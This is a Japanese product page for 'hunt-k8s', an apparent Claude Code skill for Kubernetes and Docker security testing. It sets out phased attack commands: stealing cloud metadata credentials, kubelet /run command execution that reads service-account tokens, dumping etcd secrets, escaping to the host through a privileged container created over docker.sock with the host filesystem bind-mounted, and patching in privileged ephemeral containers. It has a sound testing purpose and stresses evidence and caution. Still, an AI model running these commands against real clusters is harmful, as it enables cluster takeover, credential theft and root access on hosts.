mcpField
H
hunt-k8s

hunt-k8s

github.com/uphiagoセキュリティ1.3k40 回インストール8 週間前に更新
リポジトリ

hunt-k8s について

Kubernetes と Docker のセキュリティ検査スキルです。クラスター、kubelet、etcd、サービスアカウントトークン、ダッシュボード、コンテナランタイムの露出を調べます。ステータスコードだけで判断せず、実際のアクセスや状態変化の証拠を重視します。

主な機能

  1. 01Kubernetes API 権限の確認
  2. 02kubelet と nodes/proxy の検査
  3. 03未認証 etcd の確認
  4. 04サービスアカウントトークンの評価
  5. 05Docker ソケットとランタイムの検査
  6. 06証拠と誤検知の指針

活用シーン

  1. 01Kubernetes の匿名アクセス権限の検証
  2. 02kubelet または API 経由の Pod 実行露出の検査
  3. 03etcd とコンテナソケットの機密アクセス確認
  4. 04本番ワークロードを変更せず影響を確認

インストール

コマンドをコピーしてターミナルで実行します。

$npx skills add https://github.com/uphiago/recon-skills --skill hunt-k8s

インストール後、Claude Code で/hunt-k8sを入力して読み込まれたか確認します。

詳細

HUNT-K8S — Kubernetes と Docker のセキュリティ

クラウンジュエルのターゲット

K8s API の匿名アクセスで cluster-admin 権限が得られると、クラスターを完全に制御できます。docker.sock と RCE があれば、ホストの root 権限を取得できます。特権ポッドを 1 つ作成するか、kubelet の /run でシェルを実行すれば、1 つの発見事項から完全な侵害へとつながります。

価値が最も高い発見事項:

  • K8s API の匿名 cluster-admin — system:anonymous/system:unauthenticated が強力なロールにバインドされている状態(典型的な設定ミス:system:anonymous が ClusterRoleBinding で cluster-admin にバインドされている)→ kubectl を完全に操作できます。単に匿名アクセスで 200 が返るだけでは該当しません(誤検出のセクションを参照)。
  • Kubelet の 10250 に対する exec/run — /run はコマンドの出力を直接返します。/exec は SPDY/WebSocket ストリームです(フェーズ 3 を参照)。いずれの場合も、任意のポッドで RCE が可能になり、そのポッドの SA トークンを窃取できます。
  • API サーバー経由の kubelet RCE — /api/v1/nodes/<node>/proxy/run/... は、権限の低い自身のトークンを使い、API サーバー経由で kubelet に到達します。RBAC で nodes/proxy が許可されていれば、10250 に直接アクセスせずにポッドで RCE を実行できます。2024~2026 年の主要な攻撃ベクトルです。
  • etcd 2379 の認証なしアクセス — すべての Secret(SA トークン、TLS キー、アプリの認証情報など)が保存されており、多くの場合は平文です(EncryptionConfiguration が設定されている場合を除く)→ 認証情報をすべてダンプできます。
  • docker.sock の露出 — SSRF/LFI/RCE から /var/run/docker.sock に到達できると、--privileged コンテナを作成してホストの / をバインドマウントでき、ホストの root 権限を取得できます。
  • runc を介したコンテナエスケープ — Leaky Vessels(CVE-2024-21626):WORKDIR/process.cwd が漏えいした /proc/self/fd/<n> のホスト FD を指していると、攻撃者が制御するイメージ/exec から脱出してホストの root 権限を取得できます。
  • SA トークンの悪用 — /var/run/secrets/kubernetes.io/serviceaccount/token に自動マウントされるトークンです。影響を主張する前に、SelfSubjectRulesReview を使って実際の権限を確認してください。
  • K8s Dashboard のログイン回避/トークンなし API — 認証なしで、クラスター管理 UI のすべてにアクセスできます。

OOB/確認の必須条件(最初に読む)

K8s の発見事項は、RCE/認証情報漏えいに該当します。基本ルール:ステータスコードから推測せず、状態の変更またはデータの読み取りを実証してください。

  • /api/v1/namespaces で 200 が返っても、cluster-admin とは限りません。API サーバーは、list namespaces にアクセスできる任意のプリンシパルに対し、RBAC でフィルタリングされた(空の items: [] であることも多い)リストを 200 で返します。いくつかのリソースへの匿名読み取りは一般的で、影響は限定的です。SelfSubjectRulesReview/SelfSubjectAccessReview で実際の権限を確認し、さらに Secret の値を実際に読み取ってください。
  • 10255(読み取り専用)と 10250(exec)はよく混同されます。10255(HTTP、認証なし)は情報漏えいのみで、/pods、/stats、/metrics があり、exec/run はありません。/run と /exec があるのは 10250(HTTPS)です。10255 にアクセスできただけで「kubelet RCE」と報告しないでください。
  • ブラインド/アウトバウンドの攻撃ベクトルには OOB 確認が必要です。 SSRF→IMDS→K8s を悪用する場合や、ポッドのエグレスを悪用する場合は、Burp Collaborator/interactsh のサブドメインを使ってアウトバウンドの経路を確認してください(例:/run 経由でポッド内から curl http://<token>.<collab> を実行)。応答の遅延や URL がそのまま返ることは、証拠になりません。
  • 影響の証明=実際の成果物です。 exec の場合:id/hostname の文字どおりの出力。etcd/Secret の場合:デコードしたトークンのバイト列(レポートでは伏せてください)。docker.sock のエスケープの場合:ホストのファイル内容(ノードの /etc/hostname。コンテナのものとは異なります)。
  • 作成権限がある場合は、専用のテスト用ネームスペース/テスト用ポッドを使用してください。RCE を「証明」するために、本番ワークロードで exec を実行しないでください。ポッドを一覧表示し、ポリシーで許可されていれば、自分で起動したポッドで読み取り専用の id を実行するか、破壊的でない id を 1 回だけ実行して終了してください。

フェーズ 1 — フィンガープリントとポートの検出

# Common Kubernetes / container ports
PORTS="443,6443,8443,8080,10250,10255,10256,2379,2380,4194,9090,9100,30000-30010"
nmap -sV -p $PORTS $TARGET 2>/dev/null | grep open

# API server fingerprint — the /version endpoint is anonymous on most clusters
curl --max-time 30 --connect-timeout 10 -sk "https://$TARGET:6443/version"        # {"major":"1","minor":"29","gitVersion":"v1.29.x"...}
curl --max-time 30 --connect-timeout 10 -sk "https://$TARGET:6443/api"             # APIVersions list, even pre-auth
curl --max-time 30 --connect-timeout 10 -sk "https://$TARGET:6443/healthz"

# Cloud metadata pivot (reach K8s SA / node creds from an SSRF foothold)
curl --max-time 30 --connect-timeout 10 -s "http://[REDACTED_IP]/latest/meta-data/iam/security-credentials/" # AWS EKS (IMDSv1)
TOK=$(curl --max-time 30 --connect-timeout 10 -s -X PUT "http://[REDACTED_IP]/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 60") # IMDSv2
curl --max-time 30 --connect-timeout 10 -s -H "X-aws-ec2-metadata-token: $TOK" "http://[REDACTED_IP]/latest/meta-data/iam/security-credentials/"
curl --max-time 30 --connect-timeout 10 -s "http://[REDACTED_IP]/metadata/instance?api-version=2021-02-01" -H "Metadata: true"      # Azure AKS
curl --max-time 30 --connect-timeout 10 -s "http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token" -H "Metadata-Flavor: Google" # GKE

gitVersion を記録してください。以下の各 CVE の該当性を判断するために必要です。


フェーズ 2 — Kubernetes API の匿名/低権限アクセス

SRV="https://$TARGET:6443"

# 1. What am I? (anonymous → "system:anonymous")
curl --max-time 30 --connect-timeout 10 -sk "$SRV/apis/authentication.k8s.io/v1/selfsubjectreviews" -X POST \
  -H 'Content-Type: application/json' \
  -d '{"apiVersion":"authentication.k8s.io/v1","kind":"SelfSubjectReview"}'

# 2. What can I actually DO? (the only honest privilege check)
curl --max-time 30 --connect-timeout 10 -sk "$SRV/apis/authorization.k8s.io/v1/selfsubjectrulesreviews" -X POST \
  -H 'Content-Type: application/json' \
  -d '{"kind":"SelfSubjectRulesReview","apiVersion":"authorization.k8s.io/v1","spec":{"namespace":"default"}}'

# 3. Targeted access check for the crown-jewel verbs
for R in secrets pods nodes/proxy pods/exec; do
  curl --max-time 30 --connect-timeout 10 -sk "$SRV/apis/authorization.k8s.io/v1/selfsubjectaccessreviews" -X POST \
   -H 'Content-Type: application/json' \
   -d "{\"kind\":\"SelfSubjectAccessReview\",\"apiVersion\":\"authorization.k8s.io/v1\",\"spec\":{\"resourceAttributes\":{\"verb\":\"create\",\"resource\":\"${R%%/*}\",\"subresource\":\"${R#*/}\"}}}" \
   | grep -o '"allowed":[a-z]*' | sed "s#^#$R #"
done

# 4. Only if access review says allowed — read a real Secret to prove impact
curl --max-time 30 --connect-timeout 10 -sk "$SRV/api/v1/secrets" | python3 -c 'import sys,json;d=json.load(sys.stdin);print(len(d.get("items",[])),"secrets")'
# decode one value (redact before reporting):
# echo '<base64>' | base64 -d

CVE-2018-1002105(gitVersion < v1.10.11/1.11.5/1.12.3):API サーバーのプロキシにあるアップグレードの脆弱性により、認証されていないユーザー/低権限ユーザーが、API サーバーの ID を使ってバックエンド(kubelet/集約 API)へのリクエストを実行し、権限を昇格できます → cluster-admin。フェーズ 1 で gitVersion をフィンガープリントしてください。脆弱な場合、これが最も影響の大きい発見事項です。


フェーズ 3 — Kubelet(ポート 10250)— まず /run、/exec を正しく使う

以前のバージョンのこのスキルでは、単純な POST として /exec にリクエストを送り、id の出力が返ることを想定していました。これは誤りです。 /exec は SPDY/WebSocket のストリーミングエンドポイントです。単純な POST を送ると、ストリームの場所(例:/cri/exec/<token>)への 302 リダイレクトが返されるため、その後、SPDY/WebSocket クライアントで読み取る必要があります。以前の curl を実行して何も表示されないと、オペレーターは kubelet にパッチが適用されていると誤って判断します。

SRV="https://$TARGET:10250"

# Enumerate pods (auth varies; many kubelets allow anonymous read here)
curl --max-time 30 --connect-timeout 10 -sk "$SRV/pods" | python3 -m json.tool 2>/dev/null \
  | grep -E '"namespace"|"name"|"containerName"' | head -40

NS=default; POD=target-pod; CTR=app

# --- PRIMITIVE A: /run — returns command output DIRECTLY (no stream handling) ---
# This is the simple correct primitive. Use this first.
curl --max-time 30 --connect-timeout 10 -sk -X POST "$SRV/run/$NS/$POD/$CTR" -d "cmd=id"
curl --max-time 30 --connect-timeout 10 -sk -X POST "$SRV/run/$NS/$POD/$CTR" -d "cmd=cat /var/run/secrets/kubernetes.io/serviceaccount/token"

# --- PRIMITIVE B: /exec — SPDY/WebSocket stream, NOT a plain POST ---
# Option 1: kubeletctl handles the stream transport for you (recommended)
#   kubeletctl --server $TARGET exec "id" -p $POD -c $CTR -n $NS
#   kubeletctl --server $TARGET scan rce         # finds every exec-able pod
# Option 2: raw — the POST returns a 302 to a stream path; -v to see Location, then
#   read it with a SPDY3.1/WebSocket client (wscat / websocat), e.g.:
#   curl -sk -i -X POST "$SRV/exec/$NS/$POD/$CTR?command=id&input=1&output=1&tty=0"   # shows 302 Location
#   websocat -k "wss://$TARGET:10250/cri/exec/<token-from-Location>"

# Container logs (read-only, no stream)
curl --max-time 30 --connect-timeout 10 -sk "$SRV/containerLogs/$NS/$POD/$CTR"

# Read-only kubelet 10255 — INFO DISCLOSURE ONLY, no exec/run. Do not call this "RCE".
curl --max-time 30 --connect-timeout 10 -s "http://$TARGET:10255/pods" | python3 -m json.tool 2>/dev/null | head
curl --max-time 30 --connect-timeout 10 -s "http://$TARGET:10255/metrics" | head

CVE-2020-8558(ホストネットワークの信頼性):影響を受ける kube-proxy では、ノードの 127.0.0.1 にバインドされたサービス(読み取り専用 kubelet やその他の localhost のみでアクセス可能なサービスを含む)が、ノード IP 経由で他の Pod や隣接ホストから到達可能になり、localhost の信頼境界が無効化されます。これにより、ループバックのみでアクセス可能と想定されていた kubelet や etcd へのラテラルアクセス経路が生まれます。


フェーズ 4 — API サーバー経由の Kubelet RCE(nodes/proxy)

10250 がファイアウォールでブロックされていても、nodes/proxy を持つトークン(権限の低い Pod SA であっても)を保持している場合は、API サーバー経由で exec をルーティングします。

SRV="https://$TARGET:6443"; H="-H \"Authorization: Bearer $TOKEN\""
NODE=$(curl --max-time 30 --connect-timeout 10 -sk -H "Authorization: Bearer $TOKEN" "$SRV/api/v1/nodes" | grep -o '"name":"[^"]*"' | head -1 | cut -d'"' -f4)

# /run via the node proxy → output comes straight back
curl --max-time 30 --connect-timeout 10 -sk -X POST -H "Authorization: Bearer $TOKEN" \
  "$SRV/api/v1/nodes/$NODE/proxy/run/$NS/$POD/$CTR" -d "cmd=id"

# enumerate every pod on a node via the proxy
curl --max-time 30 --connect-timeout 10 -sk -H "Authorization: Bearer $TOKEN" "$SRV/api/v1/nodes/$NODE/proxy/pods"

バインドされた任意のロールにおける nodes/proxy は、事実上ノード全体に対する RCE を可能にします。CVE-2022-3294(kube-apiserver のノードアドレス検証):認証済みユーザーが、API サーバーのプロキシ接続先を到達可能な任意のホスト/IP にリダイレクトできました(プロキシ経由の内部 SSRF/ノードのなりすまし)。ノードアドレスを操作できる場合や、プロキシのサブリソースを利用できる場合に関係します。


フェーズ 5 — etcd の認証なしアクセス(ポート 2379)

# etcd holds ALL cluster state. Secrets are plaintext UNLESS EncryptionConfiguration is set.
ETCDCTL_API=3 etcdctl --endpoints=http://$TARGET:2379 get / --prefix --keys-only 2>/dev/null | head -50
ETCDCTL_API=3 etcdctl --endpoints=http://$TARGET:2379 \
  get /registry/secrets --prefix 2>/dev/null | strings | grep -Ei 'token|password|tls.key|dockerconfig' | head -40

# HTTP/JSON gateway (key/range are base64; "Lw==" == "/")
curl --max-time 30 --connect-timeout 10 -s "http://$TARGET:2379/v3/kv/range" -H 'Content-Type: application/json' \
  -d '{"key":"L3JlZ2lzdHJ5L3NlY3JldHM=","range_end":"L3JlZ2lzdHJ5L3NlY3JldHQ=","limit":20}' | python3 -m json.tool

# v2 (older clusters)
curl --max-time 30 --connect-timeout 10 -s "http://$TARGET:2379/v2/keys/?recursive=true" | python3 -m json.tool 2>/dev/null | head

etcd から復元した SA トークンを API サーバーに対して再利用し(フェーズ 6)、権限を確認します。誤検知: etcd ピアポート 2380 からの 200 や、TLS が必須のポートからハンドシェイクエラーが返される場合は、認証なしのクライアントアクセスを意味しません。キーのデータを伴う range/get が成功した場合のみ該当します。


フェーズ 6 — サービスアカウントトークンの悪用(バインド型/プロジェクション型トークン)

# From RCE/LFI inside a pod:
TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)
NS=$(cat /var/run/secrets/kubernetes.io/serviceaccount/namespace)
API="https://kubernetes.default.svc"

# Modern tokens are BOUND (projected): they have an audience + short expiry. DECODE before claiming reuse.
echo "$TOKEN" | cut -d. -f2 | tr '_-' '/+' | base64 -d 2>/dev/null | python3 -m json.tool
# Look at: "aud" (must match the API server audience to be accepted),
#          "exp" (projected tokens rotate ~1h — a captured token may already be dead),
#          "kubernetes.io/serviceaccount" (pod/node binding — token dies with the pod).
# If aud is e.g. ["vault"] not the api-server audience, it will NOT authenticate to the API → not cluster impact.

# Honest privilege check, then prove with a real read
curl --max-time 30 --connect-timeout 10 -sk "$API/apis/authorization.k8s.io/v1/selfsubjectrulesreviews" -X POST \
  -H "Authorization: Bearer $TOKEN" -H 'Content-Type: application/json' \
  -d "{\"kind\":\"SelfSubjectRulesReview\",\"apiVersion\":\"authorization.k8s.io/v1\",\"spec\":{\"namespace\":\"$NS\"}}"
curl --max-time 30 --connect-timeout 10 -sk "$API/api/v1/namespaces/$NS/secrets" -H "Authorization: Bearer $TOKEN"

EphemeralContainers による node-shell への権限昇格: pods/ephemeralcontainers(または Pod の create)がある場合、ホストの名前空間を共有するデバッグコンテナをアタッチして Pod から脱出します。

kubectl debug node/$NODE -it --image=busybox      # mounts host root at /host → chroot /host
# or patch an ephemeral container with hostPID/privileged via the API:
curl --max-time 30 --connect-timeout 10 -sk -X PATCH "$API/api/v1/namespaces/$NS/pods/$POD/ephemeralcontainers" \
  -H "Authorization: Bearer $TOKEN" -H 'Content-Type: application/strategic-merge-patch+json' \
  -d '{"spec":{"ephemeralContainers":[{"name":"x","image":"busybox","command":["sleep","1d"],"securityContext":{"privileged":true}}]}}'

フェーズ 7 — Docker ソケットの露出と runc コンテナエスケープ

# docker.sock reachable (SSRF unix://, LFI of socket, or RCE on host)
curl --max-time 30 --connect-timeout 10 -s --unix-socket /var/run/docker.sock http://localhost/v1.41/info
curl --max-time 30 --connect-timeout 10 -s --unix-socket /var/run/docker.sock http://localhost/v1.41/containers/json

# Privileged container bind-mounting host root → read/write host fs (host escape)
curl --max-time 30 --connect-timeout 10 -s --unix-socket /var/run/docker.sock -H 'Content-Type: application/json' \
  -X POST http://localhost/v1.41/containers/create?name=poc \
  -d '{"Image":"alpine","Cmd":["cat","/host/etc/hostname"],"HostConfig":{"Binds":["/:/host"],"Privileged":true}}'
curl --max-time 30 --connect-timeout 10 -s --unix-socket /var/run/docker.sock -X POST http://localhost/v1.41/containers/poc/start
curl --max-time 30 --connect-timeout 10 -s --unix-socket /var/run/docker.sock "http://localhost/v1.41/containers/poc/logs?stdout=1"
# Impact proof = the NODE's /etc/hostname (differs from the container's hostname).

コンテナエスケープの CVE(runc/バージョンで判定):

  • CVE-2024-21626 — 「Leaky Vessels」(runc ≤ 1.1.11): /proc/self/fd/<n> 経由で漏えいしたホストのファイルディスクリプターにより、悪意のあるイメージ(WORKDIR /proc/self/fd/N)または runc exec の作業ディレクトリからホストのファイルシステムへ脱出し、ホスト上で RCE を実行できます。Dockerfile を操作できるビルド/レジストリ環境で、自分が管理するイメージを使ってのみテストしてください。
  • CVE-2019-5736(runc): exec で侵入可能なコンテナ内からホストの /proc/self/exe(runc バイナリ)を上書きすると、次回の runc 呼び出し時にホストの root 権限を取得できます。非常に古い runc が対象です。
  • CVE-2022-0492(cgroups v1 release_agent): CAP_SYS_ADMIN を持つ(または cgroupfs をマウントできる)コンテナが、ホスト上で実行される release_agent を書き込むことで脱出できます。まずコンテナのケイパビリティを確認してください。

フェーズ 8 — Dashboard、Admission、Helm/Tiller の残存

# Kubernetes Dashboard — correct API base is /api/v1/... UNDER the dashboard service.
curl --max-time 30 --connect-timeout 10 -sk "https://$TARGET:8443/" | grep -i "kubernetes dashboard"
# token-less probe (skip-login or anonymous-bound dashboard SA):
curl --max-time 30 --connect-timeout 10 -sk "https://$TARGET:8443/api/v1/secret/default"            # secrets list view
curl --max-time 30 --connect-timeout 10 -sk "https://$TARGET:8443/api/v1/pod/default"               # pods list view
curl --max-time 30 --connect-timeout 10 -sk "https://$TARGET:8443/api/v1/namespace"                 # namespaces
# (paths are <resource> not <resource>/<id>; a 200 with real items = unauth dashboard data access)

# Helm 2 / Tiller remnant — gRPC on 44134, historically NO auth → full cluster as Tiller's SA
nmap -p 44134 -sV $TARGET
# helm --host $TARGET:44134 ls   # if it answers, Tiller is exposed → install/delete any release

# Validating/Mutating admission webhooks — enumerate to find bypassable policy or SSRF-able webhook URLs
curl --max-time 30 --connect-timeout 10 -sk "$SRV/apis/admissionregistration.k8s.io/v1/validatingwebhookconfigurations" -H "Authorization: Bearer $TOKEN"
# A webhook clientConfig.url pointing at an external/attacker-influenced host = SSRF/bypass surface.

チェーン表

K8s の検出事項チェーン先影響
秘密情報の読み取りを確認済みの API 匿名アクセスSA/TLS/アプリの認証情報を抽出クラスター全体の侵害
nodes/proxy トークンAPI サーバー経由の /run → Pod の RCE → SA トークンノード全体の RCE → 権限昇格
Kubelet 10250 /run任意の Pod で exec → SA トークンを窃取 → APIクラスターの権限昇格
etcd 2379 の認証なしアクセスすべての Secret をダンプ(暗号化されていない場合)→ トークンを再利用すべての認証情報のダンプ
docker.sock特権コンテナ + ホストのバインドマウントホストの root 権限
CVE-2024-21626(runc)悪意のあるイメージ/exec → ホスト FD を経由した脱出コンテナからホストの root 権限
EphemeralContainers/pods の create特権/hostPID のデバッグコンテナPod からノードへ脱出
プロジェクション型 SA トークン(aud が一致)実際の RBAC によって制限された API アクセスRBAC によって異なります。まず確認してください
Tiller 44134 の露出Tiller SA として helm installTiller に特権があれば cluster-admin

誤検知を防ぐポイント

  • 匿名の 200 ≠ cluster-admin。 RBAC でフィルタリングされた一覧取得では、200 と空の items が返されます。SelfSubjectRulesReview で対象の動詞が許可されていることを確認し、実際に Secret の値を読み取る必要があります。
  • 10255 ≠ 10250。 読み取り専用の kubelet では exec/run を実行できません。「Kubelet RCE」と主張するには、10250 の /run の出力、または完了した /exec ストリームが必要です。
  • /exec への通常の POST は出力ではなく 302 を返します。 本文が見えなくても「パッチ適用済み」という意味ではありません。結論を出す前に、kubeletctl/websocat でストリームを追跡してください。
  • 投影型/バインドされた SA トークンは、無効または対象オーディエンスが異なる場合があります。 exp と aud をデコードしてください。Vault/OIDC オーディエンス用のトークンでは、API サーバーに対して認証できません。
  • etcd が平文だという思い込みに注意してください。 EncryptionConfiguration が有効な場合、etcd 内の Secret の値は暗号文です。デコードしたバイト列を示さずに「平文のシークレット」と主張しないでください。
  • CVE はバージョンによって該当性が異なります。 CVE-2018-1002105、-2024-21626、-2019-5736 などを主張する前に、gitVersion(フェーズ 1)や runc のバージョンを確認してください。バージョンの一致は手掛かりであり、PoC の出力が証拠です。
  • Dashboard の HTML シェルに対する 200 は、単なるログインページです。トークンなしでデータにアクセスできる証拠となるのは、/api/v1/<resource>/<ns> から実際のリソース JSON を含む 200 が返された場合のみです。

検証チェックリスト

  • API の匿名アクセス: SelfSubjectRulesReview で特権動詞が許可されていることを確認し、実際に Secret の値を読み取った(値は伏せ字)。
  • Kubelet: 10250 の /run から文字どおりの id/hostname の出力が返された、または /exec ストリームが完了した(単なる 302 ではない)。
  • nodes/proxy による RCE: 自分のトークンを使って /api/v1/nodes/<node>/proxy/run/... 経由でコマンド出力が返された。
  • etcd: キー一覧だけでなく、デコードした Secret のバイト列が示された(暗号化されておらず、読み取り可能であることの証明)。
  • docker.sock/エスケープ: NODE のホストファイルの内容を取得した(コンテナ内のファイルとは別)、または runc-escape PoC の出力が得られた。
  • SA トークン: aud/exp をデコードして有効性を示し、影響範囲を実際の RBAC 権限に限定した。
  • OOB: 外向き通信/SSRF のホップを Collaborator/interactsh のサブドメイン経由で確認した。

深刻度:

  • API の匿名アクセスによる Secret 読み取り、kubelet/nodes-proxy による RCE、etcd のダンプ、docker.sock/runc エスケープ、CVE-2018-1002105:Critical
  • Dashboard のトークンなしデータアクセス、公開された Tiller:High
  • 読み取り専用 kubelet 10255、匿名の /version//pods による情報漏えい:Medium

検証

次のセルフテストを実行して、k8s の調査準備ができていることを確認してください。

  1. スキルの整合性 — スキルファイルが読み取り可能で、適切な形式であることを確認します。

    grep -q "name: hunt-k8s" SKILL.md && echo "PASS: skill frontmatter present" || echo "FAIL"
    grep -q "revision_date:" SKILL.md && echo "PASS: revision date present" || echo "FAIL"
    
  2. カテゴリの確認 — スキルにカテゴリがあることを確認します。

    grep -q "category:" SKILL.md && echo "PASS: category present" || echo "FAIL"
    
  3. 落とし穴のセクション — 落とし穴が記載されていることを確認します。

    grep -q "^## Pitfalls" SKILL.md && echo "PASS: pitfalls section present" || echo "FAIL"
    

3 つのテストすべてで、スキルが適切に構成され、使用できる状態であることを確認します。


落とし穴

  • Pod の exec を伴わない kubelet への匿名アクセス — 読み取り専用の kubelet アクセスは偵察にすぎません。Pod の exec、ログの流出、または認証情報へのアクセスが必要です。
  • 認証不要でも暗号化されている etcd — etcd には暗号化されたシークレットが保存されている場合があります。認証情報の窃取を主張する前に、シークレットを復号できるかテストしてください。
  • ログインなしで利用できる Kubernetes dashboard — dashboard のログインスキップオプションは既知の設定ミスです。可視性だけでなく、実際に Pod の exec をテストしてください。
  • 悪用を伴わない RBAC の列挙 — ロールの一覧表示は情報の取得にすぎません。そのロールで実際に何ができるかを実証する必要があります。
  • cluster-admin 権限のないサービスアカウントトークン — デフォルトのサービスアカウントトークンの権限は限定されています。クラスター乗っ取りを主張する前に、トークンの実際の権限を確認してください。

コメント